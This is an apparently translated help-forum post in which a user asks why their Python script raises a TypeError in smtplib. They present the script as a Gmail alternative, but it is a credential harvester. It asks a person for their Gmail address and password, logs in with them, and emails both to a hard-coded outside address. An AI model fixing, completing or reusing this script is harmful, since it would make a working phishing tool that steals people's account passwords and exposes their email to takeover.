Так что я делаю что-то вроде альтернативы Gmail, и это выдает мне ошибку, когда я набираю свой пароль Gmail, говоря это:
Traceback (most recent call last):
File "F:\CardGen\CardGen.py", line 30, in <module>
s.sendmail(sender_email_id, receiver_email_id, message)
File "C:\Users\Jack\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", line 882, in sendmail
(code, resp) = self.data(msg)
File "C:\Users\Jack\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", line 564, in data
q = _quote_periods(msg)
File "C:\Users\Jack\AppData\Local\Programs\Python\Python37-32\lib\smtplib.py", line 176, in _quote_periods
return re.sub(br'(?m)^\.', b'..', bindata)
File "C:\Users\Jack\AppData\Local\Programs\Python\Python37-32\lib\re.py", line 192, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or bytes-like object
Вот код для всего этого:
sender_email_id = input('Enter your Gmail address: ')
print("")
sender_email_id_password = input('Enter your Gmail password: ')
print("")
receiver_email_id = 'jchantrey800@gmail.com'
print("")
import smtplib
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(sender_email_id, sender_email_id_password)
message = ("Email : ",sender_email_id," Password : ",sender_email_id_password)
s.sendmail(sender_email_id, receiver_email_id, message)
s.quit()
print("")
print("Email sent!")
Я застрял и не могу найти никакой помощи: (